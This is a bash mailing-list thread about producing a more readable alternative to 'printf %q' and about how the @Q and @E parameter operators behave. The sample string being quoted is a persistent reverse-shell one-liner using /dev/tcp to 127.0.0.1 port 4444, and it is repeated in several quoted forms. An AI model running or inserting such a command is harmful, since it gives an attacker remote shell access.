Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

actulaly not only \ but \ escape sequences , ..

On Sun, Mar 14, 2021 at 2:49 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
wrote:

> dont know where you read that
>
>               Q      The  expansion is a string that is the value of
> parameter quoted in a format that can
>                      be reused as input.
>
>               E      The expansion is a string that is the value of
> parameter with  backslash  escape  se-
>                      quences expanded as with the $'...' quoting mechanism.
>
>               K      Produces  a  possibly-quoted version of the value of
> parameter, except that it prints
>                      the values of indexed and associative arrays as a
> sequence of quoted key-value  pairs
>                      (see Arrays above)
>
> E states \ get escaped using $'\\'
>
>
> On Sun, Mar 14, 2021 at 1:40 PM Eli Schwartz <eschwartz@archlinux.org>
> wrote:
>
>> On 3/14/21 12:52 AM, Peng Yu wrote:
>> > Hi,
>> >
>> > I want to have something similar to `printf %q` but the result should
>> > be more human-readable. I come up with the following code. Here is one
>> > example to show that the result of printfbq is more human-readable
>> > than `printf %q`. The idea is to reduce the use of backslashes
>> > whenever possible. But human-readablilty may be a subjective matter.
>> > So different people might have slightly different definitions.
>> >
>> > $ printfbq "$x"
>> > "while true; do echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' | bash;
>> > sleep 5; done &"
>> > $ printf '%q\n' "$x"
>> > while\ true\;\ do\ echo\ \'bash\ -i\ \>\&\ /dev/tcp/127.0.0.1/4444\
>> <http://127.0.0.1/4444%5C>
>> > 0\>\&1\'\ \|\ bash\;\ sleep\ 5\;\ done\ \&
>> >
>> > The code is listed below.
>> >
>> > I think that there may be corner cases in which my code may not do
>> > well. But I am not sure what those corner cases are.
>> >
>> > Does anybody have a better way to make something equivalent to `printf
>> > %q` but more human-readable against all possible cases?
>>
>> It's just different quoting styles, but I prefer the single-quoted
>> version too.
>>
>> GNU /usr/bin/printf does this
>>
>> $ /bin/printf "$x"
>> while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>> sleep 5; done &
>>
>> And for ${parameter@operator}
>>
>> $ echo "${x@Q}"
>> $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>> bash;\nsleep 5; done &'
>> $ echo "${x@E}"
>> while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>> sleep 5; done &
>>
>>
>> (This confuses me since the manual stated that E produces $'' style
>> escaping and Q produces single quoted escaping when used for an array...)
>>
>>
>> --
>> Eli Schwartz
>> Arch Linux Bug Wrangler and Trusted User
>>
>>